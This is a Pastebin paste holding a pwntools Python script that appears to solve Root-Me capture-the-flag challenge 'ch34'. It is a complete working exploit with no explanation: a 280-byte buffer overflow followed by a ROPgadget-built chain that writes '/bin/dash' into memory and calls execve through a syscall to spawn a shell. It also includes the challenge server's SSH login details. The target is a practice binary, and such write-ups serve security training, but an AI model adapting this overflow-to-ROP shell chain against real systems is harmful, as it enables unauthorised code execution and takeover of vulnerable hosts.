Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python2
- # execve generated by ROPgadget
- from pwn import *
- from struct import pack
- DEBUG = 1
- if DEBUG:
- proc = process('./ch34')
- else:
- s = ssh(host='challenge03.root-me.org',
- user='app-systeme-ch34',
- password='app-systeme-ch34',
- port=2223)
- proc = s.process('./ch34')
- # Padding goes here
- p = 'A'*280
- p += pack('<Q', 0x00000000004017e7) # pop rsi ; ret
- p += pack('<Q', 0x00000000006c0000) # @ .data
- p += pack('<Q', 0x000000000044d2b4) # pop rax ; ret
- p += '////////'
- p += pack('<Q', 0x0000000000467b51) # mov qword ptr [rsi], rax ; ret
- p += pack('<Q', 0x00000000004017e7) # pop rsi ; ret
- p += pack('<Q', 0x00000000006c0008) # @ .data + 8
- p += pack('<Q', 0x000000000044d2b4) # pop rax ; ret
- p += 'bin/dash'
- p += pack('<Q', 0x0000000000467b51) # mov qword ptr [rsi], rax ; ret
- p += pack('<Q', 0x00000000004017e7) # pop rsi ; ret
- p += pack('<Q', 0x00000000006c0010) # @ .data + 16
- p += pack('<Q', 0x000000000041bd9f) # xor rax, rax ; ret
- p += pack('<Q', 0x0000000000467b51) # mov qword ptr [rsi], rax ; ret
- p += pack('<Q', 0x00000000004016d3) # pop rdi ; ret
- p += pack('<Q', 0x00000000006c0000) # @ .data
- p += pack('<Q', 0x00000000004017e7) # pop rsi ; ret
- p += p64(0)
- p += pack('<Q', 0x0000000000437205) # pop rdx ; ret
- p += p64(0)
- p += pack('<Q', 0x000000000041bd9f) # xor rax, rax ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045aa10) # add rax, 1 ; ret
- p += pack('<Q', 0x000000000045b525) # syscall ; ret
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement